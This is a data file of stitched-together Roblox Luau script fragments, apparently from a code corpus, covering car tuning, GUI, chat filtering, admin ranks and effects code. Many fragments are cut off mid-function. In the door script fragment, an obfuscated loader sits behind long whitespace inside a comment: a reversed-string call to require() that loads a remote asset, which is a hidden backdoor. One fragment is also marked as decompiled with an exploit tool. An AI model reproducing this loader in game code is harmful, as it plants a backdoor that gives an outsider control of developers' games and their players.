Roblox/luau_corpus huggingface dataset:
-- Maximum distance away that the player can interact with target
local MAX_DISTANCE = 20

local prevWalkSpeed
---
if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

	local handler = car.Neons
	local lightcolor = car.Body.Underglow.U.L.Color
	
	script.Parent.MouseButton1Click:connect(function()
		if car.Body.Underglow.U.L.L.Enabled == false then
			handler:FireServer("Lights",1)
			script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
			script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
			car.Body.Underglow.EFFECT.L.GUI.Enabled = true
			for index, child in pairs(car.Body.Underglow.EFFECT.L.GUI:GetChildren()) do
			child.ImageColor3 = lightcolor
			end
			for index, child in pairs(car.Body.Underglow.U:GetChildren()) do
			child.Material = Enum.Material.Neon
			child.L.Color = lightcolor
			child.L.Enabled = true
			end
		elseif car.Body.Underglow.U.L.L.Enabled == true then
			handler:FireServer("Lights",0)
			script.Parent.BackgroundColor3 = Color3.new(0,0,0)
			script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
			car.Body.Underglow.EFFECT.L.GUI.Enabled = false
			for index, child in pairs(car.Body.Underglow.U:GetChildren()) do
			child.Material = Enum.Material.SmoothPlastic
			child.L.Enabled = false
			end
		end
	end)
---Place this INSIDE the model. Don't replace the model name or anything.
------------------------------------------------------------------------------------------ 
object = script.Parent 
if (object ~= nil) and (object ~= game.Workspace) then 
model = object 
messageText = "regenerating " .. model.Name .. "" 

backup = model:clone() -- Make the backup 
waitTime = 10 --Time to wait between regenerations 
wait(math.random(1, waitTime)) 
while true do 
wait(waitTime) -- Regen wait time 

model:remove()  

model = backup:clone() 
model.Parent = game.Workspace 
model:makeJoints() 
end 
end
--///////////////// Internal-Use Methods
--//////////////////////////////////////
--DO NOT REMOVE THIS. Chat must be filtered or your game will face
--moderation.
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG
	if (RunService:IsServer() and not RunService:IsStudio()) then
		local fromSpeaker = self:GetSpeaker(speakerName)
		local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)

		if fromSpeaker == nil then
			return nil
		end

		local fromPlayerObj = fromSpeaker:GetPlayer()
		local toPlayerObj = toSpeaker and toSpeaker:GetPlayer()

		if fromPlayerObj == nil then
			return message
		end

		local filterStartTime = tick()
		local filterRetries = 0
		while true do
			local success, message = pcall(function()
				if toPlayerObj then
					return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)
				else
					return Chat:FilterStringForBroadcast(message, fromPlayerObj)
				end
			end)
			if success then
				return message
			else
				warn("Error filtering message:", message)
			end
			filterRetries = filterRetries + 1
			if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then
				self:InternalNotifyFilterIssue()
				return nil
			end
			local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]
			-- backoffWait = backoffInterval +/- (0 -> backoffInterval)
			local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)
			wait(backoffWait)
		end
	else
		--// Simulate filtering latency.
		--// There is only latency the first time the message is filtered, all following calls will be instant.
		if not StudioMessageFilteredCache[message] then
			StudioMessageFilteredCache[message] = true
			wait(0.2)
		end
		return message
	end

	return nil
end
------------------------------------------------------------------------
-- converts an integer to a "floating point byte", represented as
-- (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if
-- eeeee != 0 and (xxx) otherwise.
------------------------------------------------------------------------
function luaY:int2fb(x)
  local e = 0  -- exponent
  while x >= 16 do
    x = math.floor((x + 1) / 2)
    e = e + 1
  end
  if x < 8 then
    return x
  else
    return ((e + 1) * 8) + (x - 8)
  end
end
--//Handler//--
Button.MouseButton1Click:Connect(function()
	if CurrentAnimation.AnimationId ~= "rbxassetid://"..ID.Value then
		CurrentAnimation.AnimationId = "rbxassetid://"..ID.Value
				
		Action = Humanoid:LoadAnimation(CurrentAnimation)
		Action:Play()
	elseif CurrentAnimation.AnimationId == "rbxassetid://"..ID.Value then
		if Action then
			Action:Stop()
			
			CurrentAnimation.AnimationId = ""
			
		end
	end
end)
--local HUB = script.Parent.HUB
--local limitButton = HUB.Limiter

local carSeat = script.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
carSeat.Values2:WaitForChild("DTR")
carSeat.Values2:WaitForChild("Lights")
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
--Avxnturador @ //INSPARE
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("DS_Sounds")
local lastGear = 0
local Rev1 = 1500
local Rev2 = 2300
local Rev3 = 3700
local Rev4 = 5000

wait(0.5)

script:WaitForChild("DS1")
script:WaitForChild("DS2")
script:WaitForChild("DS3")
script:WaitForChild("DS4")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","DS1",car.DriveSeat,script.DS1.SoundId,1,script.DS1.Volume,false)
handler:FireServer("newSound","DS2",car.DriveSeat,script.DS2.SoundId,1,script.DS2.Volume,false)
handler:FireServer("newSound","DS3",car.DriveSeat,script.DS3.SoundId,1,script.DS3.Volume,false)
handler:FireServer("newSound","DS4",car.DriveSeat,script.DS4.SoundId,1,script.DS4.Volume,false)

car.DriveSeat:WaitForChild("DS1")
car.DriveSeat:WaitForChild("DS2")
car.DriveSeat:WaitForChild("DS3")
car.DriveSeat:WaitForChild("DS4")


script.Parent.Values.Gear.Changed:connect(function()
	if lastGear>script.Parent.Values.Gear.Value then
		if ((script.Parent.Values.RPM.Value>=Rev1) and (script.Parent.Values.RPM.Value<Rev2)) then
			if FE then handler:FireServer("playSound","DS1") else car.DriveSeat.DS1:Play() end
		elseif ((script.Parent.Values.RPM.Value>=Rev2) and (script.Parent.Values.RPM.Value<Rev3)) then
			if FE then handler:FireServer("playSound","DS2") else car.DriveSeat.DS2:Play() end
		elseif ((script.Parent.Values.RPM.Value>=Rev3) and (script.Parent.Values.RPM.Value<Rev4)) then
			if FE then handler:FireServer("playSound","DS3") else car.DriveSeat.DS3:Play() end
		elseif (script.Parent.Values.RPM.Value>=Rev4) then
			if FE then handler:FireServer("playSound","DS4") else car.DriveSeat.DS4:Play() end
		end
	end
	lastGear = script.Parent.Values.Gear.Value
end)
---
local  Paint = false
	
script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Cyan",Paint)
end)
--[[Susupension]]
	Tune.SusEnabled		= true		-- Sets whether suspension is enabled for PGS
	
	--Front Suspension
	Tune.FSusStiffness	= 22000		-- Spring Force
	Tune.FSusDamping	= 50		-- Spring Dampening
	Tune.FAntiRoll 		= 400		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 1.9		-- Resting Suspension length (in studs)
	Tune.FPreCompress	= .1		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .4		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .2		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 75		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusStiffness	= 22000		-- Spring Force
	Tune.RSusDamping	= 50		-- Spring Dampening
	Tune.RAntiRoll 		= 400		-- Anti-Roll (Gyro Dampening)
	
	Tune.RSusLength		= 2.1		-- Resting Suspension length (in studs)
	Tune.RPreCompress	= .1		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .4		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .2		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
	
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics (PGS ONLY)
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Red"		-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 8				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
-- << CONFIGURATION >>
local rank = "HeadAdmin"
local rankType = "Perm" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932
local successColor = Color3.fromRGB(0,255,0)
local errorColor = Color3.fromRGB(255,0,0)
--[Rurka]
pala1 = script.Parent.Parent.Part1
legansio = true

pala2 = script.Parent.Parent.Part2
legansio = true

pala3 = script.Parent.Parent.Part3
legansio = true

pala4 = script.Parent.Parent.Part4
legansio = true

pala5 = script.Parent.Parent.Part5
legansio = true

pala6 = script.Parent.Parent.Part6
legansio = true

pala7 = script.Parent.Parent.Part7
legansio = true
--- Creates an alias command
function Util.MakeAliasCommand(name, commandString)
	return {
		Name = name,
		Aliases = {},
		Description = commandString,
		Group = "UserAlias",
		Args = {
			{
				Type = "string",
				Name = "Argument 1",
				Description = "",
				Default = ""
			},
			{
				Type = "string",
				Name = "Argument 2",
				Description = "",
				Default = ""
			},
			{
				Type = "string",
				Name = "Argument 3",
				Description = "",
				Default = ""
			},
			{
				Type = "string",
				Name = "Argument 4",
				Description = "",
				Default = ""
			},
			{
				Type = "string",
				Name = "Argument 5",
				Description = "",
				Default = ""
			}
		},
		Run = function(context, ...)
			local args = {...}
			local commands = Util.SplitStringSimple(commandString, "&&")

			for i, command in ipairs(commands) do
				local output = context.Dispatcher:EvaluateAndRun(
					Util.RunEmbeddedCommands(
						context.Dispatcher,
						Util.SubstituteArgs(command, args)
					)
				)
				if i == #commands then
					return output -- return last command's output
				else
					context:Reply(output)
				end
			end

			return ""
		end
	}
end
-- determine their tool
	local hasEquipped = _G.SD[player.UserId].Data.tempData.equippedSlot
	if not hasEquipped then
		return
	end

	local equippedTool = _G.SD[player.UserId].Data.equipment.toolbar[hasEquipped]
---------------------------------------------------------------------------------------------------------------------------
-- Functions
---------------------------------------------------------------------------------------------------------------------------

local function Weld(X, Y)
	local CJ = CFrame.new(X.Position)
	local C0 = X.CFrame:inverse()*CJ
	local C1 = Y.CFrame:inverse()*CJ
	
	local W = Create("Weld"){
		Name = "Weld",
		Parent = X,
		Part0 = X,
		Part1 = Y,
		C0 = C0,
		C1 = C1
	}
end

local function WeldObjects(parent)
	for i, obj in pairs(parent:GetChildren()) do
		if obj:IsA("Part") or obj:IsA("UnionOperation") then
			Weld(Handle, obj)
			obj.Anchored = false
			-- print("[Weld] Objects have been welded!")
		end
	end
end

Tool.Equipped:connect(function()
	WeldObjects(Tool)
end)

Tool.Unequipped:connect(function()
	WeldObjects(Tool)
end)
--script.Parent.Parent.Parent.Bulb.Sound:Stop()
script.Parent.BrickColor = BrickColor.new("Bright red")
	end
end



script.Parent.ClickDetector.MouseClick:connect(ToggleLight)
--[=[
	Fires a signal at the clients within the `players` table. This is
	useful when signals need to fire for a specific set of players.

	For more complex firing, see `FireFilter`.

	:::note Outbound Middleware
	All arguments pass through any outbound middleware (if any)
	before being sent to the clients.
	:::

	```lua
	local players = {somePlayer1, somePlayer2, somePlayer3}
	remoteSignal:FireFor(players, "Hello, players!")
	```
]=]
function RemoteSignal:FireFor(players: { Player }, ...: any)
	for _, player in ipairs(players) do
		self._re:FireClient(player, self:_processOutboundMiddleware(nil, ...))
	end
end
--Get Wheels
for a,b in pairs(Suspensions) do
	for i,v in pairs(b:GetChildren()) do
		--print(v.Name)
		if string.match(v.Name,"Wheel") then
			table.insert(Wheels,{Wheel = v})
		end
	end
end
--[[
	At this point in time, developers will have to manually modify the HD Admin TopBar as Roblox don't provide much support when working with the TopBar:
		hd:SetTopbarTransparency(number)
		hd:SetTopbarEnabled(boolean)
--]]


return module
--[[
GAVturet	- основной модуль
GAVAttack	- скрипт цепляемый к пушке 				Fire	
bullet		- скрипт отвечающий за полёт снарядов	Rocket	-- за повреждение 

]]--

local Players = game:GetService("Players") -- берём ссылку на список игроков

local module = {}
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 773		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1100		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8250		--		Use sliders to manipulate values
	Tune.Redline		= 8750		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5250
	Tune.PeakSharpness	= 5.8
	Tune.CurveMult		= 0.294 
	
	--Incline Compensation
	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 400		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 300		-- RPM decay when clutch is off
	Tune.RevBounce		= 450		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 450		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[
	This file is to provide a simple place to update values that
	 this error reporter needs to be able to function properly.

	These values are only read in as constants. Changing them while the game is running
	 will not update the behaviors of the reporters.
]]


return {
	-- Game metadata
	GAME_VERSION = "0.0.1",

	-- Google Analytics values
	REPORT_TO_GOOGLE_ANALYTICS = true,
	GOOGLE_ANALYTICS_TRACKING_ID = "UA-149120298-1", ---TODO: PLS REMOVE BEFORE RELEASE
	PRINT_SUCCESSFUL_GOOGLE_ANALYTICS = true,

	-- PlayFab values
	REPORT_TO_PLAYFAB = false,
	PRINT_SUCCESSFUL_PLAYFAB = true,

	-- General behaviors
	DEBUG_HTTP = false,
	DEBUG_REPORTER = false,
}
------------------------------------------------------------------------
-- verifies token conditions are met or else throw error
------------------------------------------------------------------------
function luaY:check_match(ls, what, who, where)
  if not self:testnext(ls, what) then
    if where == ls.linenumber then
      self:error_expected(ls, what)
    else
      luaX:syntaxerror(ls, string.format(
        self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)",
        luaX:token2str(ls, what), luaX:token2str(ls, who), where))
    end
  end
end
--Door script
--Variables
local doora = script.Parent.Parent.Door
local debounce = false
local open = false
--[[ Last synced 11/11/2020 02:27                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Grab MostPoints value:
local mostPoints = PointsService.MostPoints:Get()
--//SS6 PLUGIN; SPLASH//--
  --//INSPARE 2017//--

local ai = script.Parent.Main_Frame.A.Frame.ImageLabel
local bi = script.Parent.Main_Frame.B.Frame.ImageLabel
local ci = script.Parent.Main_Frame.C.Frame.ImageLabel
local di = script.Parent.Main_Frame.D.Frame.ImageLabel
local ei = script.Parent.Main_Frame.E.Frame.ImageLabel

ai.Size = UDim2.new(18,0,9,0)
bi.Size = UDim2.new(18,0,9,0)
ci.Size = UDim2.new(18,0,9,0)
di.Size = UDim2.new(18,0,9,0)
ei.Size = UDim2.new(18,0,9,0)

wait(.2)
script.Parent.SplashFade.OC:Play()
while true do
	for i=1,2 do
		for i=1,5 do
			ai.Position = ai.Position - UDim2.new(3,0,0,0)
			bi.Position = bi.Position - UDim2.new(3,0,0,0)
			ci.Position = ci.Position - UDim2.new(3,0,0,0)
			di.Position = di.Position - UDim2.new(3,0,0,0)
			ei.Position = ei.Position - UDim2.new(3,0,0,0)
			wait(.1)
		end
		ai.Position = ai.Position + UDim2.new(15,0,-3,0)
		bi.Position = bi.Position + UDim2.new(15,0,-3,0)
		ci.Position = ci.Position + UDim2.new(15,0,-3,0)
		di.Position = di.Position + UDim2.new(15,0,-3,0)
		ei.Position = ei.Position + UDim2.new(15,0,-3,0)
		wait(.1)
	end
	ai.Position = ai.Position + UDim2.new(0,0,6,0)
	bi.Position = bi.Position + UDim2.new(0,0,6,0)
	ci.Position = ci.Position + UDim2.new(0,0,6,0)
	di.Position = di.Position + UDim2.new(0,0,6,0)
	ei.Position = ei.Position + UDim2.new(0,0,6,0)
	wait(.1)
end
-- ScreenSpace -> WorldSpace. Taking a screen height, and a depth to put an object 
-- at, and returning a size of how big that object has to be to appear that size
-- at that depth.
function ScreenSpace.ScreenToWorldByHeightDepth(x, y, screenHeight, depth)
	local aspectRatio = ScreenSpace.AspectRatio()
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local wfactor = aspectRatio*hfactor
	local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
	--
	local worldHeight = -(screenHeight/sy) * 2 * hfactor * depth
	--
	local xf, yf = x/sx*2 - 1, y/sy*2 - 1
	local xpos = xf * -wfactor * depth
	local ypos = yf *  hfactor * depth
	--
	return Vector3.new(xpos, ypos, depth), worldHeight
end
-- Decompiled with the Synapse X Luau decompiler.

while true do
	wait();
	if game.Players.LocalPlayer then
		break;
	end;
end;
local l__LocalPlayer__1 = game.Players.LocalPlayer;
script.ghost2:Play();
for v2, v3 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
	if v3:IsA("BasePart") then
		v3.Material = Enum.Material.ForceField;
	end;
end;
game.Workspace.Gravity = 80;
wait(25);
for v4 = 1, 15 do
	for v5, v6 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
		if v6:IsA("BasePart") then
			v6.Material = Enum.Material.Plastic;
		end;
	end;
	wait(0.1);
	for v7, v8 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
		if v8:IsA("BasePart") then
			v8.Material = Enum.Material.ForceField;
		end;
	end;
	wait(0.1);
end;
for v9, v10 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
	if v10:IsA("BasePart") then
		v10.Material = Enum.Material.Plastic;
	end;
end;
game.Workspace.Gravity = 196.2;
wait(0.2);
script.Parent:Remove();
--	if hit:getMass() < 1.2 * 200 then
--		hit.BrickColor = ball.BrickColor
--	end
	-- make a splat
--plr.TeamColor = game.Teams.D.TeamColor
plr:LoadCharacter()
end
end)
--[[Steering]]
Tune.SteerInner		= 45.2		-- Inner wheel steering angle (in degrees)
Tune.SteerOuter		= 45.2		-- Outer wheel steering angle (in degrees)
Tune.SteerSpeed		= .18		-- Steering increment per tick (in degrees)
Tune.ReturnSpeed	= .2		-- Steering increment per tick (in degrees)
Tune.SteerDecay		= 330		-- Speed of gradient cutoff (in SPS)
Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
Tune.MSteerExp		= 1			-- Mouse steering exponential degree
--// Damage Settings	
	BaseDamage = 46; -- Torso Damage
	LimbDamage = 40; -- Arms and Legs
	ArmorDamage = 38; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
--[[
ButtonFire.ProximityPrompt.Enabled = true
ButtonFire.ProximityPrompt.MaxActivationDistance = 5
ButtonFire.ProximityPrompt.Triggered:Connect(function()
	Events:Fire("fire",1)
	ButtonFire.Click:Play()
end)
]]

ButtonCancel.ProximityPrompt.Triggered:Connect(function()
	Events:Fire("signal",0)
	ButtonCancel.Click:Play()
end)

ButtonTest.ProximityPrompt.Triggered:Connect(function()
	Events:Fire("test")
end)

ButtonTest.ProximityPrompt.TriggerEnded:Connect(function()
	Events:Fire("stoptest")
end)
-- Ragdoll On
local UTJointB = character.UpperTorso:FindFirstChild("WaistRigAttachment")
local LTJointB = character.LowerTorso:FindFirstChild("WaistRigAttachment")
--//=================================\\
--|| 		   EFFECTS
--\\=================================//

function SpawnPuddle(POSITION,IGNR,GOO)
	local HIT,POS,NOR = Raycast(POSITION, CFrame.new(POSITION,POSITION-Vector3.new(0,1,0)).lookVector, 12, IGNR)
	if HIT then
		coroutine.resume(coroutine.create(function()
			local GOREPART = CreatePart(3, Effects, "SmoothPlastic", 0, 1, "White", "Gore", VT(3,0,3), true)
			local SURFACE = script.Puddle:Clone()
			SURFACE.Parent = GOREPART
			if GOO == true then
				SURFACE.Image.ImageColor3 = C3(1,1,1)
			end
			GOREPART.CFrame = CFrame.new(POS,POS+NOR)*CFrame.Angles(math.rad(-90),math.rad(math.random(0,360)),0)
			for i = 1, math.random(25,65) do
				Swait()
				GOREPART.Size = GOREPART.Size + Vector3.new(0.1,0,0.1)
			end
			wait(math.random(10,25)/50)
			for i = 1, 25 do
				Swait()
				SURFACE.Image.ImageTransparency = SURFACE.Image.ImageTransparency + 1/25
			end
			GOREPART:Remove()
		end))
	end
end
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = {
	{5,	"Hail Me",		};
	{4,	"HeadAdmin",	{"",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};